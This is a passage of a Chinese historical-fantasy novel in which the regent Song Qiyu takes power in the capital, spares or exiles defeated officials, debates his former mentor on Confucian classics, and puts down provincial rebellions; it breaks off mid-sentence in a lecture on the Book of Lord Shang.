炎炎烈日下,执政司马德文、白铭肇、魏柄忠等一干文武大臣失魂落魄地站在宫门前,等候公义王发落。未时,宋启愚骑马来到了宣德门外。他跳下战马,本欲上前与众人见礼。毛迪抢先呼喝道:“公义王驾到。众官跪迎!”司马德文等人只稍稍迟疑了一下,便跪伏于地,口称:“罪官见过公义王。”宋启愚用双手搀扶起众人,朗声说道:“诸位不必害怕。本王为保国家社稷、救亿兆生民才提兵来此。但凡于职无罪的官员,本王概不追责。还请各官暂回本署,照常办公,一应钱粮用度,本王自会拨付。”这些臣僚们赶紧磕头说:“多谢公义王开恩。罪官定当恪尽职守,以赎前罪。” 这时,余天锡带着一队士兵推搡着一名满脸血污的人走了过来。余天锡一脚把那家伙踢跪在地上,骂道:“混账东西,就凭你也敢陷害我家公义王!”宋启愚定睛细瞧,被押来的人原来是谭琴。谭琴不停地磕头说:“公义王饶命。公义王饶命!罪官也是受佞人蛊惑,被小人蒙蔽,才在冯体仁老贼的诱导下,说了些不利于公义王的话。还望公义王看在同年进士,相识多年的份上,放过我这个无耻小人吧!”宋启愚轻蔑地看了看他,说道:“谭大人,现在你倒是看重咱们的旧交了。可你陷害我擅杀属员、居功自傲、贪墨粮饷、培植势力的时候何曾想到过咱们还有同年之情?”谭琴继续磕头说:“不瞒公义王,此事主谋并非罪官,而是御史徐立毅。他想向冯体仁邀功,才到处搜罗您的过失。他又买通了我的学生,硬给您罗织了罪名。”宋启愚冷笑道:“呵呵,这么说来你倒成了好人。但你敲诈曹可用三十万两银钱又怎样解释!”谭琴哭着说:“公义王不知,那徐立毅在光州查访到一个道士,是专替冯体仁置备丹药的。那道士说所有的‘仙丹’都有毒,又说天通皇爷驾崩后,冯体仁就派人销毁了丹药和丹炉。徐立毅撺掇我说,若诬陷您正在调查天地神仙宫的事,就会使冯体仁以为您怀疑他毒杀了天通帝。我当时也是鬼迷心窍,竟然答应了他的条件,现在想来,真是追悔莫及啊!至于那三十万两白银,罪官愿即刻归还,还请公义王饶恕。”旁边站着的余天锡啐了一口说:“呸。你跟徐立毅还真是一丘之貉。不过,你太小看那个狗东西了。他今早就自缚双手来我的军营请罪了。并且,我还告诉你,他也把脏事都推到了你头上,说你才是陷害公义王的主谋。”谭琴大哭道:“将军切莫相信那条疯狗呀!当年,他刚当上御史,为了保住官位,竟然隐瞒母丧,不肯丁忧,干出了禽兽不如的事。现在,他为了保命就更是什么话都敢说了……”宋启愚点指着谭琴,对所有官员说道:“你们看看,这就是朝廷任用的能臣干吏,这就是我大周的礼部尚书!咱们中原的世道人心已经沦落到了什么地步!”宋启愚毅然转脸对余天锡说:“既然我刚才说了安抚众官不愿杀戮的话,这个谭琴又恳求我看在同年进士的份上,饶他性命,本王就判他和徐立毅夺职抄家,并将这一对狼狈发往光州,给在淮南平叛中战死的烈士修祭坛,守碑文,永世不得回乡。”谭琴听自己得了活命,连连磕头说:“罪官多谢公义王不杀之恩。多谢公义王不杀之恩。”余天锡则在谭琴的屁股上踢了一脚,骂道:“便宜了你这王八蛋。要是依着我,非用炮轰平了你不可!” 其后,宋启愚带领着部将走进了皇宫。他站在宣德殿前,望着空空荡荡的皇城广场,看着斑驳破败的红墙黄瓦,感慨道:“这千古帝王城,如今却变得落寞荒凉,真是沧海桑田,世事无常啊!”后面的崔俊睿说:“若当政者都能够时时了解百姓的苦楚,克制自己的欲望,谨慎行政,兢兢业业,焉能出现这样的景象啊!”王银虎也说:“确实。历代统治者都只看重自己的利益,却从来没有想过别人的需求。若始终如此,我们的国家就只能象公义王所说,在‘流血战争、严酷统治、贪污腐败、矛盾升级、天下大乱’之间循环……”这时,曹可用押着几个衣着华贵的妇孺走了过来。曹可用凑近宋启愚说:“公义王,皇统帝已被末将送回了齐王府安置。这几个孩子都是先天通帝的子嗣,这几个妇人是宫里的太妃。对他们该如何安排,还请公义王示下。”站在一旁的吴襄抵近宋启愚,压低声音说:“公义王,留下这些人早晚是祸患,不如命人牵出去杀掉。”宋启愚急忙摆手说:“不可,不可。本王有包容宇宙的雄心,又怎能随便杀害这些无罪的妇孺呢?”他略一思忖,又说道:“为了使他们免遭迫害,就由可用和长白分别收养这几个皇子吧。等他们长大了,本王还要给他们封官赐爵,延续天通帝的血脉。”曹可用和吴襄抱拳拱手说:“末将遵命。公义王仁德厚道真乃天下人之福啊!” 等进了宣德殿,宋启愚坐在原先专为冯体仁设置的大座上,环顾殿宇说:“以后,这里作为国家的中枢只在大的仪典中使用,皇上可坐在御座上听政,熟悉各种事务。把后面的养德殿也收拾出来,再多摆放些座椅,以便宰执枢密等官员与本王坐着议事。”他又指了指北方说道:“对包括皇帝和贵族的所有人,本王要制定规则限制其行为,不叫国家毁于某些人不切实际的妄想和极端膨胀的野心。另外,供皇帝起居的后宫不应太奢华,可将现有建筑分出一些设为官学,用以培养皇族子弟,使其修身学文,练武习技,掌握些报效国家的本事……” 第五十四回3 公义王的决定 过了两天,宋启愚利用午饭后的时间,只带着儿子宋承宇和段鲲、杨道前往了冯体仁的府邸。在正厅,冯体仁坐在太师椅上背对着宋启愚冷冷地说:“看来,禁锢老夫还不合你的意。今天,你想怎样羞辱老夫呢?”宋启愚一躬到地说:“冯相当年点我做进士的恩情,学生不会忘记。学生只想让冯相在府休息,深刻反思自己在执政时所犯的过错。”冯体仁冷笑几声,挖苦道:“你这是宽宥老夫喽!不过,也对,就象《尚书·梓材》上写的,对犯上作乱的人、杀死奴隶的人、刺探情报的人、残害别人身体的人要给予宽宥,因为这对于稳定人心很有帮助!宋大人的书真是读得好呀!”宋启愚听出了冯体仁这是在骂自己犯上作乱,随微微一笑说:“老师,既然您跟我讲《尚书》,那学生也斗胆用书里的话回答您。人读书是为了明理,但却不能止于明理,更不能只停留在逞口舌之快上,而要修身齐家治国平天下,为人民谋幸福。而您在台上的这些年,又做了些什么呢?”冯体仁打断宋启愚的话说:“住口!老夫每时每事都是遵照圣人之言做的。书上说治国该有八种政务,一是管理粮食,二是管理财货,三是管理祭祀,四是管理民生,五是管理教育,六是管理治安,七是管理外交,八是管理军事。本相哪一项没有做到?”宋启愚又是一笑说:“可这些政务,有哪一项您是为了别人做的?又有哪一项您是用心做的?您所追求的只不过是通过做事攫取更高的权力,获得更大的利益。这满朝的门生故吏,这整府的金玉珠翠,以及您名下的一万五千倾良田,就是您为国为民辛苦操劳的收益。”冯体仁豁然站起,愤怒地说:“老夫是贪了些财货,但老夫再怎么说也没有逾越人臣之礼。所谓三纲五常,所谓君君臣臣,老夫都要恪守。老夫不像你宋某人不把君主当皇极,不拥护帝国的最高法则。”宋启愚还是笑了笑,说道:“书上的确说过凡臣民不允许结成私党,也不许各级官员狼狈为奸,只许把君王看作最高法则。但书上也说过君王不能有任何偏颇,不能有任何私好,不能为非作歹,君王也要遵守王法,遵守王道,遵行正路,否则他便不配做君主。”冯体仁继续强辩说:“宋大人是有学问,但《尚书》里还规定了人的三种品德。但凡臣子都应顺从上天的旨意,对君王宣扬训导,却不可兵谏叛乱。同时,只有天子才能为民造福,给民惩戒;臣子这么做本身就是危害国家,祸乱天下。”宋启愚收起笑容说道:“象这种根本不把人民当人看,不把公义放心中的糟粕,我是不屑于遵从的,而且,我还要彻底地把它打破。正所谓‘天法地、地法天,天法道、道法自然’。没有人能凌驾于规则之上,也不该有人欺天害理。”冯体仁嘿嘿哂笑道:“宋大人说的倒很冠冕堂皇,但你既已做了一手遮天的王爷,老夫就不信你还能容得下别人对你指手画脚。”宋启愚向前跨了两步,说道:“学生本以为冯相的学问天下无双,今日方知你的书并未读通。你不但忘了《礼记》‘大道之行,天下为公’的训诫;你还忘了‘民可近不可下,民为邦本,本固邦宁’的道理。”宋启愚转过身来,面对着庭院,继续坚定地说:“本王制定规则是要约束所有人的,不仅对百姓有效,对皇帝和我等王公大臣同样有效。而且,我还可以非常负责地告诉你,在今后的岁月里,我希望经常有人能质疑我的政令,这样我就会认真查找可能的错误。我希望人人都拥有权力,这样我才能广受监督,不会恣意妄为。我希望自己能受到不公平的对待,这样我才能懂得公正的价值。我又希望自己会遭受到背叛,这样我才能感受到忠诚的意义。我还希望自己时常感到孤独,这样我就不会视朋友为理所应当。另外,与冯相不同,我还希望自己被人无视,这样我才能懂得倾听他人。我也希望自己能体会足够多的痛苦,来领悟什么是同情。总之,我所要建设的不是你脑子里能想象出的混沌不堪的旧秩序,而是一个生机勃勃、充满希望的新世界。”讲到这里,宋启愚转脸望向宋承宇,轻轻舒了一口气说:“儿啊,你有句话说的不错,象这种脏地方,我一刻也不想呆。”说完,宋启愚大踏步地迈出了厅堂,只留下冯体仁呆立座前,浑身颤抖。 五月十四日,清空万里,天高云淡。近三千名文臣武将身着华服跪伏于皇城广场的御道两侧,静待吉时到来。午时初刻,安远门外传来了隆隆的炮声,那是全军将士对新皇和公义王的衷心拥戴;接着,相国寺方向传来了悠悠的钟鸣,那是天下百姓对国家未来的虔诚祈福。又过了片刻,公义王宋启愚搀扶着小皇帝石潢在万众瞩目下踏上了通往宣德殿的红毯。皇城内外的军民臣僚们立即俯身磕头,同时激动地高呼道:“大周万岁!大周万岁!大周万岁!万岁!万万岁!”在这震耳欲聋的山呼声中,宋启愚沉稳地登上御阶,跨进了大殿。他回望殿外,一幕幕往事浮现在眼前。他仿佛看到了抗击柔然的峥嵘浴血,看到了抵御洪水的艰辛历程,看到了治政济南的悲欢离合,看到了平灭贼寇的烈火烽烟。他回味着治理地方时品尝过的酸甜苦辣,他品读着任职中央后蒙受过的恩威宠辱。他豪情万丈、志气满怀。他再一次下定了决心要继续为他的国家和人民贡献力量。 第五十五回1 泰然平内乱 公义元年六月的一个下午,烈日当空,燥热异常。一些似尘非尘,似土非土的灰气低低的浮在空中,烧灼着地面上的一切。宣德门外,树木打着蔫,一动不动,只有树上的蝉高声大叫着,宣示出它们对盛夏的喜爱。 养德殿内,宋启愚微皱着眉头,缓声说道:“看来,晋升其为太尉并不足以安抚齐元能,他仍要背叛国家。而且,他又跟南方的邢华暗中勾连,欲图划苏北、淮南之地自治。另外,那位退归林下的张永德也在四处活动,似有起兵汉中的迹象。对于这些地方,该如何应对,本王还想听听诸位的意见。”坐在对面的执政兼左都御史童道生略一拱手说:“公义王不必担心,那齐元能原本只是齐王府家将,并无军政才能,在掌管枢密院期间也没有像样的功绩。虽说,他现在手握八万雄兵,又占据着庐州、桐城、滁州等地,但能跟他同心反周的部队和将领屈指可数。只要朝廷下一纸讨伐檄文,再派能臣提一旅百战之师,不出旬月定能将其平定。”兵部侍郎兼殿前军都指挥使毛迪向上拱手说:“公义王,虽说齐元能没什么本事,但他却在不断撺掇扬州都护陈伟亮加入他的阵营。末将以为,平定这次叛乱应采取四步措施。其一,咱们该先升陈伟亮的官,以分化敌人,使陈伟亮不加入或者晚加入齐元能的阵营;其二,咱们应派出数名上将率领快速部队前往庐州平叛。咱们还要收束其人马,进行整编,以备将来对江南的贼寇再行清剿;其三,在我们控制住庐州地区以后,可适当减少供应给陈伟亮的钱粮兵备,从而逼着他回朝供职;其四,在与叛军作战期间,我们应派奸细前往江南,收买邢华手下的重要头目,使他们不能出兵援助齐元能,以保证我们干净彻底地解决庐州之敌。”宋启愚微微点头说:“你们说的不错,也正合本王的意图。那么就擢升陈伟亮为领兵部尚书事、镇东将军兼滁州镇守使。再由枢密副使席军民、侍卫亲军步军都指挥使申鲤和侍卫亲军炮军都指挥使董元度率领三万禁军前往庐州剿贼吧。”席军民抱拳行礼说:“末将遵命。公义王此计甚好!把原属齐元能的滁州改封给陈伟亮,这两派之间的矛盾瞬间就会升级,也许,都不用我们动手,齐元能自己就会土崩瓦解的。”宋启愚又转脸对文泰说:“文尚书,烦你从户部支取二十万两银钱交给礼部侍郎欧阳亮。由欧阳大人派员前往江南贿赂饶贼的头领们。”站立在一旁的文泰和欧阳亮赶紧跪倒磕头说:“下官领命。下官这就去布置。”执政白铭肇欠身拱手说:“公义王,下官得报湖湘巡抚冯之节似乎也在聚集部曲,意图谋反,您打算如何处置该员呢?”宋启愚微微一笑说:“这个冯三公子有些自不量力了。湖南驻兵本就不多,他又是个到任不久的文官,调动一城一地的军队打击打击土匪或许有可能,但要提兵来京,简直就是痴人说梦,除了给他父亲增加几条罪名之外,没有任何意义。命殿前军都护将军康恩和侍卫军点军将军宋承宇领三千兵马到长沙去,宣读旨意解除冯之节的职务,再押回京城下狱论罪也就是了。”宋承宇一听父亲要派他去讨伐仇人,立即跪地磕头说:“儿领命,儿定然将冯之节捉拿归案。”执政魏柄忠向上拱手说:“公义王,那对张永德我们该采取何种措施呢?”宋启愚想了想说:“张太保虽有反叛的迹象,但他毕竟还没有行动,若我们逼得太狠,反而于事无益,不如严加监视,同时,命侍卫亲军马军都指挥使叶明奇率军进驻长安,稳定雍州、绥州局势;命殿前军都司令伍名率军进驻上庸,保障中原安全。另外,长白可把双桂调到长安去,命他在陕西建立警巡队,接手地方治安。”警巡总监吴襄抱拳拱手说:“末将领令,待会便去布置。”宋启愚又对吏部尚书陆祥楠和礼部尚书朱昌海说道:“陆大人、朱大人,开科取士的文书是否已经发往了各地?”两位尚书急忙躬身说:“回公义王,正式公文昨天已经发出。我等正要向您请示关于延请考官、整修考场和征用驿馆的事。”宋启愚笑笑说:“咱们国家已经三年没有科举了。士子们报效朝廷的路断得太久,我们这次不妨多取些生员,让那些愿意为国效力的人都出来做事。另外,武科的考试也不必拖到明年,秋闱过后就可适时颁诏……” 申时,处理完公事,宋启愚站起身来,对陪在身边的童道生说:“再造,我那小外甥可好些了?晚间我带杨姑娘过府去看看,再给我那妹子开上几副调理的药,这大夏天的,可不敢太过操劳啊。”童道生陪着笑说:“劳兄长惦记,已经无碍了。两位嫂子这一路上也很辛苦,兄长又忙了一天,别再折腾了。兄弟过两日专门带着他们去给您和嫂子们问安。”宋启愚微微伸了伸胳膊说:“好吧,你那大嫂自前日到京,也是觉着身子疲乏,我原想让她和丽华好好歇几天。她们只说在我遭逢惊涛骇浪之时帮不上我的忙,这回总算稳定住了,要好生伺候我并管好家里的事。我待会回府还得给她们交代交代,不要急于求成,后面的日子还长着呢。”童道生躬身拱手说:“兄长请自便。小弟要再去趟政事堂,把今日定下的几件政务安排妥当。小弟就先告辞了。”宋启愚也拱了拱手,又转脸对后面的中书舍人说:“毕恒,你抱着文书跟童执政去吧。后面几件批注过的交给燕行然尚书和姜元廷秘书郎。还有,给曹总办的公文要即刻用快马发往山东,以便他与琉球人和苏禄人签约。”毕恒答应一声,搬着一大摞文书跟在童道生身后,走出了大殿。 第五十五回2 泰然平内乱 时值傍晚,太阳收起了它的毒舌,悻悻地朝西边落去。气温下降,行人渐多,冷清了半日的店铺和街巷热闹起来,炊烟袅袅,车马喧嚣,开封城一下子恢复了繁华。宋启愚骑在马上,看着无比壮丽的首都景象,感慨道:“能保障百姓安居、永享太平,我愿足矣。” 眼看仪仗行出了御街南口,突然,从西南方向“嗖”的飞来一枝弩箭。那箭打宋启愚的王冠顶端擦过,正穿在他身后的伞盖帷幔上。“有刺客!保护公义王!”旁边随护的段鲲一边高喊一边催马挡在了宋启愚身前。其他几十个护卫也簇拥上来,围在了公义王身边。杨道怒道:“什么人如此大胆!”他又对左右吩咐道:“你去叫开封府尹付云瑞,你去调城防巡检丁宁,你们几个随我往那边捉拿刺客。”宋启愚看了一眼街面上四散奔逃、满脸惊慌的百姓,急忙制止杨道说:“且慢。使用这种龌龊伎俩的人绝不是什么英雄,他也绝不敢呆在原地。你们现在去抓人,除了制造更大的混乱和流言蜚语外别无用处。不如暂且隐下此事,慢慢查访。”段鲲说:“可是,公义王,那也得叫付大人到现场去勘察勘察,并追究有关人员的责任啊。”宋启愚从伞盖上拔下箭矢,微微一笑说:“象这种偶然事件,若交给官府探查,他们定会派出全部人马,封锁街市,大肆抓捕,甚至严刑逼供,牵连无辜。这样做,一是很难查出元凶;二是极易扩大范围,造成冤狱;三是影响老百姓的正常生活,破坏社会秩序。本王不想让事态这样发展。”宋启愚将那枝箭递给杨道,又说:“为此,本王把此事交给你。记住,不要兴师动众,也不要封城盘查。”杨道接箭在手,略显为难地说:“公义王,您的心胸比天地还宽阔,但外人可不知道啊。一旦有小人蛊惑或收买歹徒,仍会有人铤而走险。末将以为,公义王应加强自身防护,不给歹人可乘之机。”宋启愚略一沉吟说:“你讲的也有道理。这样吧,以后本王尽量减少骑马的次数,改乘车帐出入也就是了。倒是你们这些在外面护卫的人要多加小心,莫被奸人暗算。”护卫们听了这话,心里全都热乎乎的。段鲲有些哽咽,他先向公义王抱了个拳,又甩过脑袋,坚毅地对众护卫说道:“全都给我打起精神来,保护咱家公义王赶快回府。” 几天后,伴着阵阵鼓角声,数支威武雄壮、旗幡招展的大军开出了汴梁城东门。而在城墙上的红罗伞盖下,一位头戴七珠远游冠,身穿土黄色绣龙袍,面色微红,须发斑白的亲王正手把着垛口目送将士们远征。他下意识地摸了摸自己脸侧的白色蜗痕,感慨道:“战夫若熊虎,破敌有余闲。金戈铁马去,功成衣锦还。”他转身对童道生吩咐道:“再造,你要确保前线的军需供给,不得稍有疏忽。”童道生拱手回答说:“公义王放心,下官会亲自到各部协调,无论是国栋将军、承宇将军还是叶、武二位将军处,下官都会保证供应,不叫物资短缺。”宋启愚又对毛迪说:“承循,近段时间我公务较忙,这殿前军和侍卫军的整训重担可就落在你身上了。”毛迪跪地行礼应道:“蒙公义王赏识,承循定然竭忠尽力,不负所托。”宋启愚又转向吴襄说:“长白,你的警巡部队刚刚筹建,还需要些日子才能编练成军。在人员的任用上,你要仔细甄别,筛选出那些愿意为国家出力、为百姓服务的人。”吴襄抱拳拱手说:“有公义王坐镇,又有姚凯、陈卓等弟兄帮衬,长白定能建立一支钢铁强军……” 七月初,席军民率部进驻了庐州以北的逍遥津。他没有马上进攻,而是先命申鲤领七千兵马控制住巢湖岸边的大圩镇,并派人在城东巡逻,布设哨卡,截断齐元能与陈伟亮之间的联系。接着,他又命令董元度乘着夜色指挥炮军在城北摆开了阵势。 次日一早,几声尖利的哨音划破了宁静的晨曦。紧跟着,电光石火,地动山摇,上百颗弹丸拖曳着火线呼啸着砸向了庐州城。转瞬间,城墙内外硝烟弥漫,火光冲天。被炸碎的砖石、被崩烂的尸体以及兵器、草木不时从城上落下。哭喊声、惨叫声、呼救声、呻吟声摄人心魄,不绝于耳。过了一刻钟,统帅着兵马站在炮阵后方的席军民见自己的恐吓目的已经达到,随下令停止了炮击。同时,他又命令几十名哨探骑乘快马,飞奔向前,把朝廷的征剿檄文投射进城内的各个角落。 是夜,庐州城内欲图反水的将领们纷纷派遣心腹坠城而出,跑到禁军大营请求归附。席军民亲自接见了其中两名重要守将——陈延、尤连的代表,并与其商定了破城的计策。 第二天,席军民又往舒城、巢湖、桐城等地派出了使节,游说各地驻军改变立场,回归朝廷。当天,舒城守将黄立新、巢湖守将任超、全椒守将乔安全等人便给席军民送来了请罪文书。席军民当然也乐得兵不血刃、和平收编,随对这些军将做了安抚,并派人前去接管这些人的部队。 又过了一天,接受了席军民指令的陈延、尤连特地跑到齐元能的帅府对其大表忠心。陈延还建议说:“大帅,我们城中现有四万人马,巢湖还有一万,再加上外围的部队,咱们的兵力远超席军民,击败他们不成问题。只是,那席国栋手下的炮军太过厉害,咱们得想办法破了这支敌兵才行啊。”齐元能苦着脸说:“那炮军前日只进行了几番炮击,便给我军造成了巨大的伤亡,我们又能用什么办法打掉它呢?”尤连抱拳说:“大帅,敌人之所以没有继续开炮或许是因为他们弹药不足。末将以为,咱们可乘今夜偷袭敌军炮阵,把那些铁家伙都扔到湖汊里去。这样一来,咱不就没有什么可怕的了吗!”陈延马上附和说:“妙计,妙计。正好现在又下了雨,他那些炮都变成了大铁陀。末将请求率军往袭。”齐元能犹豫道:“虽然下雨,但敌人的炮军旁边可是驻扎着席军民的精锐啊。”尤连见齐元能胆怯,赶紧补充道:“大帅英明决断,千万不可错失战机。末将手下的哨探昨天还打听到,敌人的弹药现囤积在四十里外的双墩,那里防卫薄弱,更好偷袭。若咱们现在不动手,等过几日他们把弹药运上来,恐怕……”齐元能倒吸了一口凉气说:“二位将军所言有理。本帅就命陈将军今夜率五千精兵前往双墩偷营,尤将军再领五千兵马到南淝水沿岸接应陈将军。本帅则在城头远眺你等痛击敌兵。”陈延和尤连急忙跪倒高呼道:“末将遵命,定不负大帅期许。” 第五十五回3 泰然平内乱 当晚,刚到三更,肃立在西北角城上的齐元能就见远处冒起了点点火光。他大喜道:“陈将军偷营成功,我无忧矣!”他又转脸对手下人吩咐道:“传令下去,准备筵席。等陈、尤二将回城,本帅要犒赏三军。” 转眼到了四更,正在大堂上闭目养神的齐元能得到奏报:西城门外有大队火把移动。齐元能腾地站起来,欢喜地说:“这一定是陈、尤二将得胜凯旋。本帅要摆开仪仗,到城门处迎接他们。” 齐元能到达城门时,城外的兵马也到了护城河边。齐元能害怕暗夜之中难辨敌我,随让亲信跑上城楼确认对方身份。城外的人也似很理解守城者的心思,便只出动了两骑踏过吊桥来到大门前。只听这二人高声喊道:“我乃庐州镇守使陈延,这是我的副将尤连,后面都是咱们的人马。我等刚刚偷营获胜,正要回城休息,快快打开城门。”齐元能的亲信在城上观察了半天,觉得没有差错,便叫道:“二位将军请稍候,我这就去禀报大帅,给你们开城。” 两刻钟后,齐元能坐在瓮城门外摆设的帅座上,满面春风地看着自己的士兵一队一队开进了城内。见陈延和尤连并驾而来,齐元能喜笑颜开地站起身迎了上去,并抱拳拱手说:“二位将军劳苦功高,本帅……”还没等他说完,陈、尤二人向左右一分,打后面闪出一员青面獠牙、手举大刀的战将。那员将也不搭话,径直冲到齐元能跟前,一刀就将他劈成了两半。之后,那员将摘下面具仰天大笑道:“蠢材!陈、尤二将早已归顺了朝廷。你中了我家席枢密使的计策了。”他又用刀指着前方的叛军吼叫道:“我乃公义王驾前的征东先锋毛奇,现已诛杀了叛臣齐元能。尔等若要活命,就该扔了兵器,跪地请降!”原本毛奇的嗓门就大,又借了城圈的拢音作用,连地面都被他的吼声震得嗡嗡响。齐元能的这些手下先是向后退缩着,继而纷纷放下兵器,停止了抵抗。至太阳东升,毛奇的部队已完全控制了城池。 正午时分,席军民统帅着大军威风凛凛地开进了庐州。 与此同时,康恩和宋承宇的部队也到达了洞庭水域。为了保险起见,二人又使用枢密院的关防调动了岳阳的两千水师,跟着本部一同平叛。宋承宇还命令许地先行赶往长沙,解除冯之节的职务。 考虑到冯之节有可能困兽犹斗,许地没敢沿湘江径直去长沙,而是顺着官道一路宣读旨意,并先后调用了汨罗、湘阴、靖港等地的城防军跟从自己南下。 听说禁军已进驻湖湘,冯之节惶惶不可终日。他本想组织军队抵抗,却不料在升堂聚将时,城防军的将佐们全都请假不到。冯之节除了大发雷霆,求神问卜外,竟只能借酒消愁,对局势完全失去了控制能力。七月望日,冯之节正在后衙醉饮。恍惚之间,他瞧见侍妾蒋氏打门前经过。冯之节一把将酒壶摔在地上,大着舌头骂道:“都,都是你这妖精,害,害得我,我父子无处容身。我,我真是鬼迷心窍,被你给,给勾引。女人真是祸水,我,我……”蒋氏听了这话,彻底寒了心。她什么也没说,静静地转身回了内宅。不多时,有丫鬟从后面奔出哭喊道:“不好了,蒋夫人上吊了!” 两天后,许地到达了长沙。他立即宣旨锁拿了冯之节。之后,宋承宇在巡抚衙门后园发现了一口尚未下葬的黑漆棺材。在得知死者正是曾经许给自己的蒋家小姐时,宋承宇悲从心生,随亲自祭奠了蒋小姐,并命人将棺椁运往龙岩,交还蒋氏宗族。 一直跟在宋承宇身边的罗文德看到少帅如此仁义,对冯之节的恨意一下子冲上了脑门。他气愤地奔入许地的营寨,把被押的冯之节拖到营门前暴揍了一顿。他指着瘫倒在地的冯之节对围观的军将和百姓们说道:“各位弟兄,各位乡亲,我乃校尉罗文德。被打的这个人是逆臣湖湘巡抚冯之节。我之所以要打他,不是胜利者对失败者的欺凌,也不是代表朝廷对谋反者的惩戒,而是责罚他不忠不孝、伤天害理。前者,他以替废帝石满出头为名,整备军队欲与朝廷为敌。可他却忘了他的父亲冯体仁还滞留在京城,若因他起兵招致其父被杀,这难道不是忤逆不孝吗?”罗文德登上旁边的石台,继续控诉道:“也许有人听说过同泰遗诏的故事。当年,同泰皇爷是要立扬王殿下为帝的。可先天通帝不遵遗命,屠尽了扬王满门,并自立为君。后来,他又把皇位传给了他的儿子。于是,国政日非,生灵涂炭。好在上天有眼啊,公义王保住了先扬王殿下的幼子,并奉其为当今皇上。换句话说,我等效忠公义王就是效忠皇上,就是遵从同泰遗诏,就是保我大周社稷。这冯之节为了私利,不甘屈于人下,不愿失去权力,随不讲天道,起兵谋反,说他不忠大周一点也不冤枉他!”罗文德又一指冯之节骂道:“这个畜生还霸占良女,伤天害理。先前,蒋家之女已经许给了咱们典军将军,虽未过门,但已是半个宋氏人,可这冯之节在送亲时见色起意,竟将蒋氏占为己有。其后,他还编造谎言,说是饶国贼寇抢走了该女。咱家典军将军为了给蒋家有个交代,前往江南九死一生找寻了半年多。吃的那个苦啊,我都不忍回首。可到头来,我们才知道,蒋小姐原来是被这个狗东西藏在了府中。”罗文德又跳到冯之节面前,点指着他说:“要说,蒋小姐既已跟你,你好生待她也就罢了。可你看我天兵将到长沙,怕事情败露,招致更大的祸端,你,你竟恶语相加,逼她自尽。罔你是圣人门生,罔你是文坛名士,老天爷真是白给你披了这张人皮!”罗文德仰脸抹了一把眼泪,又说:“我家少帅真是有情有义,他兑现了对公义王的承诺,命人将蒋小姐的尸身运往了她的家乡。而你,衣冠禽兽的伪君子,不忠不孝、狼心狗肺的东西……”接到士卒禀报,从营里匆匆跑来的许地见势不妙,急忙上前抱住罗文德哭着说:“兄弟,留他性命。咱家少帅还要拿他向公义王交差的。”罗文德重重地喘了几口粗气,压了压火说:“老许,你放心,我才不想脏了手。我只求你一件事,每到一地都让我给大伙讲讲这些畜生的丑事,也让大伙明白明白咱公义王、咱典军将军有多么伟大!”许地狠狠地点着头说:“好兄弟,我跟你一块讲,咱替少帅出这口气,骂死这些道貌岸然的王八蛋。” 八月初的一个晚上,宋启愚从梦中惊醒。韩夫人替他揩着汗,说:“王爷勿惊,没事的。”宋启愚揉了揉脸颊,轻叹一声说:“是老喽,看着信都能睡着了。”他在枕边找寻到看过的信笺,拿在手中,又说:“那个沈建平你还记得吗?”韩夫人思索着说:“就是在襄阳总想给王爷难堪的城防军司马吧。”宋启愚坐起身子说:“就是他。他先是撺掇张永德反叛,见朝廷的军队抵近了汉中,又带着一些手下跑到四川投靠骆建成去了。”韩夫人追问道:“那张永德呢?他不会也往四川跑吧。”宋启愚折起信笺说:“张永德毕竟做过宰相,他可没把骆建成放在眼里。据伍名报告说,张永德是‘盛装危坐,静待抓捕’的。就凭这一点,张相也够得上英雄二字。”宋启愚下了软塌,又说:“刚才在梦中,张相诘问我,为何要废黜皇统帝。我想反驳,可却发不出声音,故而挣扎苏醒。哦,现在是什么时辰了?”韩夫人急忙回答说:“刚到亥时。王爷要不要用些饭食?”宋启愚拍拍额头说:“倒忘记了,还没用过晚膳。那好,让他们……”他突然又似想起了什么,笑笑说:“时间还不晚,我何不去叨扰光照一顿,听说,他还有一肚子苦水想跟我倒一倒咧。”韩夫人一边给宋启愚拿外衣一边说:“他哪有什么苦水,只不过觉得你封他的官太小。可这普天下除了他一家跟曹可用一家还有谁能住在这公义王府里面?”宋启愚一边穿衣一边说:“光照这个人啊,总想跟人争一争,显得有些小家子气了。唔,对了,曹可用在信卷里说,他和宸儿下月回京。”韩夫人为丈夫系好腰带,笑着说:“曹可用这个义父真没白当,宸儿跟着他长了不少见识。听说,宸儿在登州还学会了几句外国话咧。”宋启愚嘿嘿一笑,说:“是吗,那我得跟光照吹吹牛去。对,说去就去。” 宋启愚来到跨院,见大门敞开着,又听屋里传出猜拳行令的声音,便迈步走了进去,边走还边喊着:“光照,你们喝酒咋不叫我呢?你得敬兄弟几杯。”屋里人听是公义王的声音,赶紧丢下杯筷迎了出来。原来是董阳、吴襄和余天锡三将。见他们要施大礼,宋启愚制止说:“自家人,不必客套。光照是不是又在抱怨,我没让他统领禁军啊?”董阳瞪眼看着左右骂道:“这是哪个王八蛋在公义王面前说我的坏话!”宋启愚沉下脸说:“你少冤枉人。这是我猜的。我还不了解你!但你问问长白和天锡,要是拿他们的职务跟留在王府交换,他们换不换?”吴襄点指着董阳说:“能天天呆在宣道身边,谁还想当那劳什子的警巡总监啊!要不,咱俩换换?”余天锡也笑着说:“要么,光照大接手我的炮军,我回来伺候公义王。”董阳尴尬地推了吴襄一把,说:“去去去,谁跟你们换。我还想跟着宣道多长进几天呢!”宋启愚哈哈大笑说:“光照是心疼他家的酒啊,怕我把他吃穷了。”董阳不好意思地笑着说:“那哪能,那哪能。”他一边向屋里让着宋启愚,一边对里面吩咐道:“家里的,赶快换席面,再把从山西运来的汾酒烫些来。我要好好招待公义王……” 第五十六回1 午时三刻的特赦 “列位是朱尚书和唐某从万千考生中拔擢出来的栋梁之才,也是公义王亲自点中的新科进士。如今,你们在翰林院学习,应该尽量利用授官前的这段时间,熟悉朝廷法令,了解各部职能,读书练达,增长才干,当然,讨论、会诗、郊游、置酒等等有益的活动,也是必不可少的……”九月的一个晌午,翰林院掌院学士唐明渊坐在讲习堂里,面对近三百名新进士子侃侃而谈:“今天,我们要研读的是法家的集大成之作——《商君书》。由于这部书千百年来一直被皇家列为密藏典籍,所以能窥见其内容的人并不多。前些时,本学士命各位学子阅读此书,并让你们写了评论。我总结了一下,你们的观点大体可分为以下三种:其一,张守明、萧崇等人认为法家之术过于阴暗,完全不该被统治者当做治国之道。其二,于东辉、段志华等人认为‘耕战’为本的思想并没有错,且有利于中央集权、保障生产,故而‘外儒内法’的思想才被历代统治者所采用。其三,向治平、水建威等人则认为只要能使国家强大,小民的私利可以不用顾及,主张全面接受法家思想。”一名外表俊朗的青年官员举手说:“